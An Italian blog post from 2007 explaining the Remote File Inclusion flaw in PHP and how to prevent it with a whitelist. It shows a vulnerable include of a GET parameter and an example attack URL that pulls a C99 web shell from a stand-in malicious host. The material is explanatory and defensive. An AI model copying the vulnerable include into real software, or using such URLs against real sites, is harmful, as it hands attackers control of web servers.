venerdì 21 dicembre 2007

domenica 9 dicembre 2007

Remote File Inclusion

L'RFI (Remote File Inclusion) è una vulnerabilità in applicazioni web scritte in PHP o ASP dovuta al mancato controllo dei file inclusi nel codice e passati tramite richieste GET o POST.
Quando il nome di una pagina da includere è passato via GET o POST e non si effettuano controlli si può includere nel codice una pagina arbitraria. Spesso si includono shell scritte generalmente in PHP che forniscono un'ampia gamma di comandi, come la C99, che consente di modificare, rimuovere, creare file sulla cartella del server, fare copie delle tabelle del database, inviare comandi al server ecc., compromettendo in modo decisamente serio la sicurezza del sistema.

Supponiamo di avere un codice del genere:


$page=$_GET["page"];
include($page);
?>


Questo codice prende una pagina come variabile GET e la include all'interno dell'attuale pagina web. Questo codice è decisamente pericoloso per la sicurezza del sistema. Supponiamo che questa pagina sia accessibile a www.miosito.it/vuln.php . A questo punto posso passare come parametro alla mia applicazione una pagina sul server perfettamente lecita, e l'applicazione la includerà al suo interno (es. www.miosito.it/vuln.php?page=index.php ). Ma posso anche includere una shell C99 e il sistema non mi dirà niente ( www.miosito.it/vuln.php?http://sito_malizioso/c99.txt ). L'applicazione aprirà la pagina contenente il codice della C99 in formato txt, prenderà il codice e lo includerà all'interno della pagina che sta creando, consentendo quindi a un eventuale attaccante di avere le piene mani sull'amministrazione del server web.
Una C99 in formato txt la potete trovare qui

Come difendersi

In genere quando voglio includere una pagina esterna in una mia applicazione web voglio includere solo un insieme molto ristretto e numerato di possibili pagine, non tutte le pagine web di questo mondo. Ad esempio, se voglio creare un menu non voglio includere tutte le pagine possibili e immaginabili nella mia variabile GET, ma solo un range ristretto di pagine (per l'appunto quelle che voglio rendere accessibili dal mio menu). Basta quindi fare uno switch-case sui possibili valori della mia variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.